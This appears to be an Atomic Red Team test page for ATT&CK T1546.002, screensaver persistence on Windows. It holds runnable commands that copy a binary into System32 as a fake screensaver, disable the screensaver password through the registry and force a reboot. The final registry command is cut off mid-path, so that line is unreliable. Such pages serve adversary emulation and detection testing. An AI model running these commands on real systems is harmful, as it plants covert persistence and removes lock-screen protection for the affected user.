



T1546.002 - Screensaver

Description from ATT&CK

Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in `C:\Windows\System32\`, and `C:\Windows\syswow64\` on 64-bit Windows systems, along with screensavers included with base Windows installations.

The following screensaver settings are stored in the Registry (`HKCU\Control Panel\Desktop</code>)` and could be manipulated to achieve persistence:

- `SCRNSAVE.exe` - set to malicious PE path
- `ScreenSaveActive` - set to '1' to enable the screensaver
- `ScreenSaverIsSecure` - set to '0' to not require a password to unlock

- `ScreenSaveTimeout` - sets user inactivity timeout before screensaver is executed

Adversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity.(Citation: ESET Gazer Aug 2017)

Atomic Tests

- [Atomic Test #1 - Set Arbitrary Binary as Screensaver](#)

Atomic Test #1 - Set Arbitrary Binary as Screensaver

This test copies a binary into the Windows System32 folder and sets it as the screensaver so it will execute for persistence. Requires a reboot and logon.

Supported Platforms: Windows

auto_generated_guid: 281201e7-de41-4dc9-b73d-f288938cbb64

Inputs:

Name	Description	Type	Default Value
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input_binary	Executable binary to use in place of screensaver for persistence	Path	C:\Windows\System32\cmd.exe
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Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
copy #{input_binary} "%SystemRoot%\System32\evilscreensaver.scr"
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /d 1 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaveTimeout /t REG_SZ /d 60 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f
reg.exe add "HKEY_CURRENT_USER\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "%SystemRoo
shutdown /r /t 0
```